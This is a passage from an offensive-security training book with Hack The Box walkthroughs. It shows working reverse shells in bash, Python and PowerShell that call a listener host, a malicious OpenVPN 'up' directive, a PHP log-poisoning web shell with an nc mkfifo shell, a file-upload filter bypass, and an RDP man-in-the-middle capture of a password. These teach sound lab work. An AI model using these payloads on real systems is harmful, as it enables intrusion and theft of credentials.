redirecting stdout and stderr (>&) to a socket that will connect to the address and port
specified (/dev/tcp/10.0.0.1/6001). The final redirection command (0>&1) redirects stdin to
the same file as stdout i.e. the socket.

At the other end, you can still use Netcat in listening mode to handle the incoming
connection.

There are a range of ways of running reverse shells in different languages listed on sites
like PayloadsAllTheThings[1]. An example of a reverse shell written in Python is

python3 -c 'import socket,subprocess, os; s=socket.socket(socket.AF_INET,soc

Expanded, the code looks like this:

1 import socket,subprocess, os
2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3 s.connect(("10.0.0.1",6001))
4 os.dup2(s.fileno(),0)
5 os.dup2(s.fileno(),1)
6 os.dup2(s.fileno(),2)
7 p=subprocess.call(["/bin/bash","-i"])

The code essentially replicates the process of making the bash socket connection you saw
earlier. It creates a socket u and connects to the listener v. It redirects the stdin, stdout and
stderror to the socket w and then makes then runs the bash command x. It then gets all of
the standard streams using the socket and finally starts an interactive shell.
hide01.ir
The code essentially replicates the process you saw above with the bash socket
connection. It creates a socket and connects to the listener. It then gets all of the standard
streams using the socket and finally starts an interactive shell.

Reverse shells on Windows

The principles of reverse shells work with Windows as well but you don’t have the ease of
having bash readily available. There are Windows' versions of Netcat and so it is possible
to do a reverse shell by simply specifying cmd.exe or powershell.exe as the command to
execute when using it. It is also possible, as in the Python example above, to run a reverse
shell written in PowerShell as follows:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.

When the code passed to powershell.exe's command argument (-Command) is expanded, it


looks like this:

1 New-Object System.Net.Sockets.TCPClient("10.0.0.1",6001)
2 $stream = $client.GetStream()
3 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
4 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byte
5 $sendback = (iex $data 2>&1 | Out-String )
6 $sendback2 = $sendback + "PS " + (pwd).Path + "> "
7 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
8 $stream.Write($sendbyte,0,$sendbyte.Length);
9 $stream.Flush()
10 }
11 $client.Close()

The script creates a socket to communicate with the attacker's listener u, creates a buffer to
read v from that socket which will be commands sent by the attacker w, executes the
commands sent by the attacker x and gets the response and then writes the response back
to the attacker y.
hide01.ir
As with all things Windows, this is slightly more complicated than the Linux versions but
functional, nonetheless. Another alternative is to use a “Meterpreter” shell that is designed
to work with the pentesting framework Metasploit which you will discuss shortly.

Upgrading Remote Shells

The shells obtained by the methods outlined sometimes are less than functional because
they do not result in a full ‘TTY’ terminal. TTY stands for teletype and is derived from the
early electromagnetic typewriters that were used in telegraphy and then to communicate
with mainframes and minicomputers. When you open a terminal on a Mac or on Linux, the
terminal software is running a pseudo teletype (PTY) which handles getting input from the
keyboard and passing it to a TTY driver which eventually passes that data to which ever
shell program you are running. The terminal handles things like arrow keys and key
sequences like "control + w" which will erase a word, "control + c" which will kill the last
command you ran. If you are not running a proper TTY, you won't be able to use arrow keys
and "CTL+c" will kill the shell you are running and not the last command. Also using an
editor like vi will be difficult.

Shells can be upgraded by using the pty library in python:

python3 -c ‘import pty;pty.spawn(“/bin/bash”);’

Then typing CTL+z to background the process and typing

1 stty raw -echo


2 fg
3 hit enter key
4 hit enter key
5 reset
6 export SHELL=bash
7 export TERM=xterm-256color
8 stty rows <num> columns <cols>
hide01.ir
SSH
Secure Shell (SSH) operates in a client server configuration with the server usually listening
on TCP port 22. Normally, the process for a client connecting to a remote machine involves
using either a password or a private key. Keys are generated using ssh-keygen which by
default will use RSA as the algorithm. Running ssh-keygen will produce a private key and a
public key. The public key is added to a file "authorized_keys" normally located in the .ssh
directory in the user's home directory. The private key is then held by the user on their client
machine. SSH also supports password access. Although it is not normal to find a private
key in the .ssh directory on the server, it is always worth checking, using the default
filename for the private key "id_rsa".

As an added layer of protection, SSH private keys can be encrypted. John The Ripper will
extract a hash from the encrypted SSH key with a program called "sshng2john.py".

Another useful utility supported by SSH is "scp" a ssh file copying utility. To copy a file to a
remote machine you can use the command:

scp -I remote.key localfile.txt [email protected]:/tmp/remotefile.txt

To copy the remote file to a local file, you just reverse the order of the file paths.

SSH Tunnels

SSH can be used to create an encrypted tunnel that supports port forwarding. There are two
types of port forwarding, local and remote. This can be confusing because local forwarding
forwards packets from a local port to a port on a remote machine. Remote port forwarding
is the opposite, taking packets for a port on a remote machine and forwarding them to a
port on the local machine. As an example, let us imagine that you have ssh'd onto a remote
machine that is behind a firewall that doesn't allow any traffic out. You would like to access
a web server on our local machine to be able to access file from the remote box. To do this,
you could use an SSH tunnel as:
hide01.ir
ssh -R 8000:127.0.0.1:8000 [email protected]

From the remote machine, you can now access the web server on the local machine by
using the URL http://127.0.0.1:8000. Of course, you would need to make sure that nothing
was running on port 8000 already on the remote machine.

The converse of this is where you would like to access a port on a remote machine that is
only available from that machine. In this case, you use SSH in the same was as before but
using the -L flag instead of -R.

ssh -L 8000:127.0.0.1:8000 [email protected]

From the local machine, you can access the remote server by once again using the URL
http://127.0.0.1:8000.

A tunnel can be created without actually logging into the machine (i.e. not running a shell)
by specifying the -N flag.

Dynamic Port Forwarding

Specifying individual ports to forward works well when you are interested in a specific
target for this. There are situations however when there is more than one port that you
would like to forward, or indeed a range of ports. To do this you can use dynamic port
forwarding which works as a SOCKS proxy.

ssh -D 1080 [email protected]

Once this is running, a SOCKS proxy can be configured in settings of the browser, or you
can use the application proxychains which allows any application that uses the network to
hide01.ir
send its commands over the SOCKS proxy you have established. For example, to curl a web
server running on the remote host on port 8000, you would use proxychains as:

proxychains curl http://remoteserver.htb:8000

Depending on the tool however, there is often built in support for proxying and so with curl
for example, the SOCKs proxy can be specified directly:

curl socks5://localhost:1080 http://remoteserver.htb:8000


hide01.ir
Exercise: Initial access and port forwarding
on Hack the Box machine Vault
This machine was graded medium difficulty and was actually 3 separate virtual machines
with hostnames: ubuntu, DNS and Vault. Although you will be dealing with pivoting later on,
solving the machine required the use of local and remote port forwarding over SSH. An
additional complication was the presence of a firewall that was blocking traffic to the Vault
machine unless the source port was set to 53, the port usually associated with DNS. The
firewall can be circumvented in a number of ways but the easiest is to use Ipv6 which
hadn't been blocked by the firewall.

An nmap scan of the machine reveals SSH running on port 22 and HTTP running on port
80:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- vault.htb -oN Nmap/tcp-
3 <SNIP>
4 PORT STATE SERVICE VERSION
5 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.
6 <SNIP>
7 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8 | http-methods:
9 |_ Supported Methods: GET HEAD POST OPTIONS
10 |_http-server-header: Apache/2.4.18 (Ubuntu)
11 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
12 <SNIP>
13 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the website on port 80, you get the text:

1 Welcome to the Slowdaddy web interface


2 We specialize in providing finanancial organisations with strong web
3 and database solutions and we promise to keep your customers financial
4 data safe.
5 We are proud to announce our first client: Sparklays (Sparklays.com
6 still under construction)
hide01.ir
Running Gobuster, but with a modified wordlist to add "sparklays" and "Sparklays", you find
the sub-directory "sparklays". Running gobuster on this directory reveals the following sub-
directories and files:

1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/directory-list-
3 <SNIP>
4 /login.php (Status: 200)
5 /admin.php (Status: 200)
6 /design (Status: 301)

And again, within the /design sub-directory, you find an additional directory
/design/uploads. Navigating to the http://vault.htb/sparklays/admin.php returns a login
page which doesn't return any errors or other feedback when testing out default
username/password combinations like admin/admin. Putting this request into Burp Suite
and changing the host header in the request to "localhost" however, you get redirected to
another php page " sparklays-local-admin-interface-0001.php" which presents the page
shown in Figure 3-2.

![Graphical user interface, text, application

Description automatically generated](../.gitbook/assets/1.png)

ault admin panel

Clicking on "Server Settings" leads to a page under construction. "Design Settings" however,
returns a page that allows the logo to be changed. We can upload a PHP file that will give
us a reverse shell. There are webshells already installed on Parrot Sec OS located in the
directory /usr/share/webshells. We will use the PHP one:

/usr/share/webshells/php/php-reverse-shell.php

Copying this file to our working directory and renaming it reverse.php, we can try and
upload it using the logo upload feature. The upload function restricts the file types that can
be uploaded and so if you try and upload the PHP file you get an error returned saying
"sorry that file type is not allowed". However, if you change the extension of the file to
hide01.ir
another valid PHP extension "reverse.php5", that is allowed. Start a Netcat listener to catch
the reverse shell:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...

We can now navigate to the URL:

http://vault.htb/sparklays/design/uploads/reverse.php5

This then returns a reverse shell which you can upgrade to a full TTY using the Python and
bash commands:

1 python3 -c 'import pty;pty.spawn("/bin/bash")'


2 CTL-Z
3 bg
4 stty raw -echo
5 fg
6 fg

We now have initial access as the user www-data. Exploring the /home directories, you see
two users; "alex" and "dave". On exploring the "dave" directory, you find a sub-directory
"Desktop" that has files which contain ssh credentials for the user "dave":

1 www-data@ubuntu:/home/dave/Desktop$ ls -al
2 total 20
3 drwxr-xr-x 2 dave dave 4096 Sep 3 2018 .
4 drwxr-xr-x 18 dave dave 4096 Sep 3 2018 ..
5 -rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers
6 -rw-rw-r-- 1 alex alex 14 Jul 17 2018 key
7 -rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh
8 www-data@ubuntu:/home/dave/Desktop$ cat Servers
9 DNS + Configurator - 192.168.122.4
10 Firewall - 192.168.122.5
11 The Vault - x
12 www-data@ubuntu:/home/dave/Desktop$ cat key
13 itscominghome
hide01.ir
14 www-data@ubuntu:/home/dave/Desktop$ cat ssh
15 dave
16 Dav3therav3123
17 www-data@ubuntu:/home/dave/Desktop$

We can now login using ssh and the user dave and the password Dav3therav3123.

In the file Servers, it mentioned another machine at the IP address "192.168.122.4". you can
see from using the command "ifconfig" that the machine vault has 2 network interfaces
with the interface "virbr0" having the IP address 192.168.122.1. you can check what ports
might be on the machine with the IP address "192.168.122.4 by using Netcat:

nc -vz 192.168.122.4 1-100

The -v flag allows for verbose output and the -z flag does not connect to the port, it just
checks if it could connect. Using this, you see that ports 22 and 80 are open.

We can now do a local port forward to get access to port 80 on the box 192.168.122.4

1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $ssh -N -L 8081:192.168.122.4:80 [email protected]
3 [email protected]'s password:

This then allows us to navigate to the web site at http://127.0.0.1:8081 where you get links
related to DNS and VPN configuration (Figure 3-4).

Home page on port 8081


hide01.ir
The first link goes to a page under construction. The second is a page that allows for
openvpn configurations to be tested (Figure 3-5).

VPN Configurator page

Searching for OpenVPN configuration exploits, you find a blog post by Jacob Baines[2]
which gives a configuration for returning a reverse shell. Adapting this, you can paste the
following into the page, update the file and then click Test VPN.

1 Remote 192.168.122.1
2 nobind
3 dev tun
4 script-security 2
5 up "/bin/bash -c '/bin/bash -I > /dev/tcp/192.168.122.1/6002 0<&1 2>&1&'"

Rather than run the Netcat listener on the Vault machine however, you can use another SSH
remote port forwarder to tunnel the shell back to our local machine. To do this from an
existing SSH session, you can use the special characters ~C at the beginning of the
command prompt to drop into an SSH prompt and then set up the remote port forward:
hide01.ir
1 dave@ubuntu:~$
2 ssh> -R 6002:127.0.0.1:6002
3 Forwarding port.
4 dave@ubuntu:~$

Setting up the listener on the local machine will then give us a reverse shell on the DNS
machine as root.

1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6002
3 listening on [any] 6002 ...
4 connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56806
5 bash: cannot set terminal process group (1096): Inappropriate ioctl for de
6 bash: no job control in this shell
7 root@DNS:/var/www/html#

Looking around the box, you find that the ssh file in /home/dave has a password
dav3gerous567.

Looking at the /etc/hosts file, you see an entry for the vault machine:

1 root@DNS:/home/dave# cat /etc/hosts


2 cat /etc/hosts
3 127.0.0.1 localhost
4 127.0.1.1 DNS
5 192.168.5.2 Vault
6 # The following lines are desirable for Ipv6 capable hosts
7 ::1 localhost ip6-localhost ip6-loopback
8 ff02::1 ip6-allnodes
9 ff02::2 ip6-allrouters

The machine doesn’t respond to a ping but using nmap on the Vault machine, you find two
ports that are closed:

1 PORT STATE SERVICE


2 53/tcp closed
hide01.ir
domain
3 4444/tcp closed krb524

There is a possibility that this response is just poor firewall design and that the reason that
53 responded as closed was because the firewall may be letting anything that looks like
DNS traffic through to the box. You can re-run nmap but specify the source port as 53. This
gives an open port 987

1 PORT STATE SERVICE


2 987/tcp open unknown

Running netcat to connect to that port returns and SSH banner suggesting that you can
SSH onto that box.

1 root@DNS:/home/dave# nc -p 53 Vault 987


2 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

There are a couple of ways of getting around the firewall restriction to get to the Vault
machine. The easiest however is to use Ipv6. In order to do that, you need to find the Ipv6
address of Vault. If you ping the Ipv6 broadcast address, the ping will go to all hosts on the
network connected to the "ens3" network interface:

1 root@DNS:/home/dave# ping6 -I ens3 ff02::1


2 PING ff02::1(ff02::1) from fe80::5054:ff:fe17:ab49 ens3: 56 data bytes
3 64 bytes from fe80::5054:ff:fe17:ab49: icmp_seq=1 ttl=64 time=0.026 ms
4 64 bytes from fe80::5054:ff:fec6:7066: icmp_seq=1 ttl=64 time=2.48 ms (DUP
5 64 bytes from fe80::5054:ff:fe3a:3bd5: icmp_seq=1 ttl=64 time=2.49 ms (DUP
6 64 bytes from fe80::5054:ff:fee1:7441: icmp_seq=1 ttl=64 time=3.03 ms (DUP

From this, you get 4 responses. The first response from fe80::5054:ff:fe17:ab49 you know
is from the DNS machine as you can see its Ipv6 address using the ifconfig command.
hide01.ir
Using the nmap command, you can check which machine has port 987 open and you find
that it is the machine with the Ipv6 address fe80::5054:ff:fec6:7066.

We can then just ssh in using the ssh command:

ssh -p 987 dave@fe80::5054:ff:fec6:7066%ens3

Once on the box, you can see the root flag that is encrypted using GPG. You can use the
gpg application to get more information about the file and find that it has been encrypted
using an RSA key with the ID D1EB1F03.

1 dave@vault:~$ ls
2 root.txt.gpg
3 dave@vault:~$ gpg root.txt.gpg
4 gpg: directory `/home/dave/.gnupg' created
5 gpg: new configuration file `/home/dave/.gnupg/gpg.conf' created
6 gpg: WARNING: options in `/home/dave/.gnupg/gpg.conf' are not yet active d
7 gpg: keyring `/home/dave/.gnupg/secring.gpg' created
8 gpg: keyring `/home/dave/.gnupg/pubring.gpg' created
9 gpg: encrypted with RSA key, ID D1EB1F03
10 gpg: decryption failed: secret key not available
11 This key doesn't exist on the Vault machine but does on the ubuntu machine
12 dave@ubuntu:~$ gpg --list-keys
13 /home/dave/.gnupg/pubring.gpg
14 pub 4096R/0FDFBFE4 2018-07-24
15 uid avid <[email protected]>
16 sub 4096R/D1EB1F03 2018-07-24

We can use scp (SSH copy utility) to copy the file onto the DNS box and then onto the
ubuntu machine and decrypt using gpg and the passphrase "itscominghome" that you
found in the file called Key earlier.
hide01.ir
Remote Desktop Protocol
Remote Desktop Protocol (RDP) allows user to access their desktop from another machine
over a network using the RDP client. The RDP server listens on TCP and UDP port 3389 by
default. Users are permitted to use RDP are those in the Remote Desktop Users group. RDP
access is one way hackers will gain initial access to a machine if they have a user's
credentials. It can also be used to establish persistence, i.e. an easy way to regain access at
some later point. In this case, a new user can be created and added to the relevant groups
to allow remote desktop access.

RDP is also susceptible to man-in-the-middle attacks. Using software such as Seth[3]. When
Remote Desktop Connection connects through to a machine, it will throw up an error if there
is a problem with the TLS certificate. However, it does this with the default self-signed
certificate and users are normally used to just ignoring the warning and clicking through.
Another issue with man-in-the-middle is if RDP is configured to use Network Level
Authentication which Seth is not able to handle. In this scenario, Seth will still be able to
capture the plaintext password that was entered into the login screen for the RDP
connection, but the connection will then die.

There have been a number of exploits of RDP with the most significant recent exploit being
BlueKeep (CVE-2019-0708) which allowed remote code execution through RDP on Windows
7 and Windows Server 2008 machines.

RDP does not feature in Hack The Box machines, mainly because in the past, it would have
been hard to support the many users accessing RDP all at the same time on a VM.
However, this is an important technique in an attacker's arsenal and so MITRE for example
lists numerous malicious hacker groups as using it to gain access and for lateral
movement [4].
hide01.ir
Exercise: Using Seth in a Man-in-the-Middle
Attack
Hack The Box doesn't have any good examples of RDP exploitation and so to illustrate at
least one vulnerability, you will demonstrate how easy it is to get a person's password using
Seth.

For this demonstration, you have a Windows 10 box that is configured to accept remote
desktop connections as the target. You can use your Windows 10 Commando box if you
have set that up. The victim is a remote desktop connection client from any other machine
on the network, including the computer you are using to run the VMs on. The attacker
machine is our ParrotSec VM. The network is shown below.

Network diagram of RDP man-in-the-middle attack

When you run Seth on the attacker machine and then try and connect using the Remote
Desktop Client, you get this output:

1 ┌─[rin@parrot]─[/opt/Seth]
2 └──╼ $sudo ./seth.sh eth0 10.0.1.7 10.0.1.5 10.0.1.8
3 ███████╗███████╗████████╗██╗ ██╗
4 ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
5 ███████╗█████╗ ██║ ███████║ [email protected]
6 ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
7 ███████║███████╗ ██║ ██║ ██║ https://www.syss.de
8 ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
9 [*] Linux OS detected, using iptables as the netfilter interpreter
10
hide01.ir
[*] Spoofing arp replies...
11 [*] Turning on IP forwarding...
12 [*] Set iptables rules for SYN packets...
13 [*] Waiting for a SYN packet to the original destination...
14 [+] Got it! Original destination is 10.0.1.27
15 [*] Clone the x509 certificate of the original destination...
16 [*] Adjust iptables rules for all packets...
17 [*] Run RDP proxy...
18 Listening for new connection
19 Connection received from 10.0.1.5:61220
20 Warning: RC4 not available on client, attack might not work
21 Downgrading authentication options from 11 to 3
22 Listening for new connection
23 Enable SSL
24 Connection received from 10.0.1.5:61232
25 Warning: RC4 not available on client, attack might not work
26 Downgrading authentication options from 11 to 3
27 Listening for new connection
28 Enable SSL
29 Failed to extract keyboard layout information
30 rin:::afb99ab9d701d668:9511818e381cab338594796e923386ef:010100000000000007
31 Tamper with NTLM response
32 Downgrading CredSSP
33 Connection received from 10.0.1.5:61233
34 Warning: RC4 not available on client, attack might not work
35 Listening for new connection
36 Server enforces NLA; switching to 'fake server' mode
37 Enable SSL
38 Connection lost on enableSSL: [Errno 104] Connection reset by peer
39 Hiding forged protocol request from client
40 .\rin:S3cr3tP@55w0rd
41 [*]

In this scenario, Network Level Authentication had been configured and so Seth was not
able to complete the attack and the connection fails with an error. However, the plaintext
username and password are still obtained by the attacker. If the NLA requirement option is
switched off, the connection completes, and the user would not be any the wiser.
hide01.ir
VNC
VNC is an alternative to RDP that is platform independent. VNC uses the Remote Frame
Buffer protocol (RFB). It is usually configured to run on ports 5900+N were N is the display
number. Whilst RFB is not a secure protocol, VNC can be run through an SSH or VPN tunnel
making it secure.

VNC hasn't been the most robust of products and there are numerous serious vulnerabilities
in a range of different versions of the product.

VNC may require password but if used, it doesn't need a username. Metasploit has a VNC
login brute force module (auxiliary/scanner/vnc/vnc_login) and the command line
application hydra can also brute force VNC passwords. A VNC-enabled payload can be
created by msfvenom also:

msfvenom -p windows/vncinject/reverse_tcp LHOST=<Local Host IP address> LPOR

Finally, meterpreter can launch a VNC session by running "run vnc" within a meterpreter
session.
hide01.ir
Exercise: Exploiting VNC for initial access in
Hack The Box machine Poison
An nmap scan shows that this machine is running FreeBSD and has port 22 (SSH) and port
80 (HTTP) open.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- poison.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
5 <SNIP>
6 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
10 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
11 Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Navigating to the website, there is a home page suggesting that various PHP files can be
tested (Figure 4-6).

Home page of Poison machine

Inputting one of the filenames listed results in the contents of that file being listed. If we
enter listfiles.php, the output is:

1 Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] =>
2 info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] =>
3 pwdbackup.txt )
hide01.ir
The PHP code is creating an array of filenames. The interesting one is pwdbackup.txt which
if we access has the contents:

1 This password is secure, it's encoded atleast 13 times..


2 what could go wrong really..
3 Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySk
4 bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZD
5 <SNIP>

The encoding format looks like Base64 and so if we simply put the string in a file and
decode it13 times we get a password:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $cat password.txt | base64 -d | base64 -d | base64 -d | base64 -d | b
3 Charix!2#4%6&8(0

Going back to the home page, the input to the text box is simply being passed as a
parameter called "file" to be displayed:

http://poison.htb/browse.php?file=listfiles.php

This looks like a candidate for local file inclusion (LFI) by tampering with the file parameter.
If we try the URL

http://poison.htb/browse.php?file=/etc/passwd

We get the contents of the passwd file returned.

1 # $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr


2 #
3 root:*:0:0:Charlie &:/root:/bin/csh
4 toor:*:0:0:Bourne-again Superuser:/root:
5 <SNIP>
6 cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
7
hide01.ir
charix:*:1001:1001:charix:/home/charix:/bin/csh

We can see from the passwd file that there is a user "charix" and using the password we
discovered earlier with this, we can SSH into the machine.

This was not the only way that you can gain initial access to the box however. Another way
of gaining access is to use a technique called "log poisoning" which involves putting PHP
code into the Apache log file that records requests to the site. This log records the URL
requested, the protocol, the status code and also the user agent which is the details of the
browser client used to make the request. If we put executable PHP into the User Agent
header filed in the request and make a request, the next time we use LFI on the log, that
code will be executed. The code we can add to the User Agent field is:

<?php system($_GET['c']); ?>

This code takes the value in the query parameter 'c' and executes it using the 'system'
command. To add the code to the User Agent field, we can use Burp to intercept the request
and then change the value in the Repeater tab before sending it to the server:

1 GET /browse.php?file=/etc/passwd HTTP/1.1


2 Host: poison.htb
3 User-Agent: <?php system($_GET['c']); ?>
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 DNT: 1
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10 Sec-GPC: 1

We can test this now by sending a new request to view the log file and pass a command via
the parameter 'c':

GET /browse.php?file=/var/log/httpd-access.log&c=id HTTP/1.1


hide01.ir
This will return the contents of the log file and the final line will be:

10.10.14.135 - - [] "GET /browse.php?file=/etc/passwd HTTP/1.1" 200 1894 "-"

It took the 'id' command and executed it to return the details of the user 'www'.

We can now execute a reverse shell. Start a Netcat listener on your machine:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...

We can now poison the log with PHP reverse shell code:

1 <?php
2 exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.135
3 ?>

When we make the GET request to view the log, we will get a reverse shell:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.135] from (UNKNOWN) [10.129.105.0] 35870
5 sh: can't access tty; job control turned off
6 $ whoami
7 www

The shell isn't great and Python is not on the box to use to upgrade it. If you had got access
this way, it would have ben to explore the box to find the pwdbackup.txt file and from there
the password for the charix user to enable the use of SSH.
hide01.ir
Once SSH'd onto the machine, you discover a file secret.zip which you can copy back to
your local host using the scp command:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $scp [email protected]:/home/charix/secret.zip .
3 Password for charix@Poison:
4 secret.zip 100% 166 0.5KB/s 00:00

The file can be unzipped using charix's password to reveal the secret file which has binary
data in it but otherwise it is not clear what it is for.

Back to enumeration. Looking at the processes running, you will notice a process Xvnc:

1 charix@Poison:~ % ps -aux
2 USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
3 root 11 100.0 0.0 0 16 - RL 14:00 30:53.63 [idle]
4 root 0 0.0 0.0 0 160 - DLs 14:00 0:00.01 [kernel]
5 root 1 0.0 0.1 5408 976 - ILs 14:00 0:00.01 /sbin/init --
6 root 2 0.0 0.0 0 16 - DL 14:00 0:00.00 [crypto]
7 <SNIP>
8 root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X -httpd
9 root 625 0.0 0.7 67220 7048 v0- I 14:00 0:00.03 xterm -geometry 80x24+10+1
10 root 626 0.0 0.5 37620 5312 v0- I 14:00 0:00.01 twm

To get more information, we can display the process information in more detail:

1 charix@Poison~ % ps -auxww | grep vnc


2 root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X -httpd

From this, we know that TightVNC is running as user root and this is listening on port 5901
on localhost. To access the VNC server, you first set up a tunnel using:

1 charix@Poison:~ %
2 ssh> -D 1080
3 Forwarding port.
hide01.ir
On our local box, you can confirm that you can access this port by using:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains curl --http0.9 http://127.0.0.1:5901
3 ProxyChains-3.1 (http://proxychains.sf.net)
4 |S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK
5 RFB 003.008

Note that you used proxychains here to access the VNC server. You could have used the --
socks5 argument to curl as well.

We can then run vncviewer using proxychains. This asks for a password and so trying the
"secret" file that you got from unzipping "secret.zip" from charix's home directory:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains vncviewer -passwd secret 127.0.0.1:5901
3 ProxyChains-3.1 (http://proxychains.sf.net)
4 |S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK
5 Connected to RFB server, using protocol version 3.8
6 Enabling TightVNC protocol extensions
7 Performing standard VNC authentication
8 Authentication successful
9 Desktop name "root's X desktop (Poison:1)"

Which launches a VNC session as root (Figure 3-7)


hide01.ir

VNC session as root on Poison

VNC's encryption of passwords is more obfuscation than encryption as the key that is used
for the DES encryption is well known. It is trivial to find an application that will decrypt the
password in the file "secret" and it turns out to be "VNCP@$$!".
hide01.ir
Telnet and FTP
Telnet

Telnet is an old protocol that provides a command-line interface via remote access. The
telnet server usually listens on TCP port 23. Because it was never designed with security in
mind, it is less used for administration purposes on computers but is still used on network
devices and Internet of Things devices. A large number of IoT devices have shipped with
default passwords set for Telnet access allowing attackers to access and take over the
devices to enlist them in "botnets". Botnets are a collection of devices all running similar
software/malware that can be coordinated in an attack like a Distributed Denial of Service
(DdoS).

What commands are supported by the telnet server depends on the platform. On windows
for example, it will be the cmd.exe commands that are supported. On a Cisco network
switch, you will be presented with the Cisco CLI (Command Line Interface). In this regard, it
is similar to SSH in running a specific shell after a successful login.

FTP

File Transfer Protocol allows a client to upload and download files using a set of simple
commands. The FTP server normally has 2 TCP ports that it uses, port 21 for FTP
commands and port 20 for sending and receiving data. FTP operates in two different
modes active and passive. In active mode, the FTP client connects to the command port of
the server on port 21. The client starts listening for data on a port that is the next port from
the one it opened to connect to the server. The FTP server connects to this port on the client
from its local data port and sends or receives data when requested by the client.

The trouble with active mode is that clients are often behind firewalls or on a private
network that does not allow for inbound connections on dynamic ports. For this reason,
FTP also supports a passive mode. In passive mode, the server opens a random port for
data connections and passes this to the client to connect to. Of course, having the FTP
server open to a range of open ports to support passive mode creates security
vulnerabilities of its own.
hide01.ir
Exercise: Enumerating and exploiting FTP
and Telnet on Hack The Box case machine
Access
Access is a Windows box that has an FTP server on which you will find a backup of an MS
Access database and a password-protected ZIP file containing a backup of a Microsoft
Outlook email file. Dumping the Access database give server usernames and passwords,
one of which can be used to unzip the ZIP file. Viewing the emails in the PST file found
there, gives another password that can be used to gain access via Telnet.

An nmap scan shows that the TCP ports 21 (FTP), 23 (Telnet) and 80 (HTTP) are open.
Nmap tells you that anonymous login is allowed on FTP.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- access.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp Microsoft ftpd
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 |_Can't get directory listing: PASV failed: 425 Cannot open data connectio
7 | ftp-syst:
8 |_ SYST: Windows_NT
9 23/tcp open telnet?
10 80/tcp open http Microsoft IIS httpd 7.5
11 | http-methods:
12 | Supported Methods: OPTIONS TRACE GET HEAD POST
13 |_ Potentially risky methods: TRACE
14 |_http-server-header: Microsoft-IIS/7.5
15 |_http-title: MegaCorp
16 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

On logging in with user anonymous, password anonymous, you find 2 directories,


"Backups" and "Engineer". The Backups directory contains an mdb file which indicates that
it is a backup of an Access database file. The Engineer directory contains a zip file named
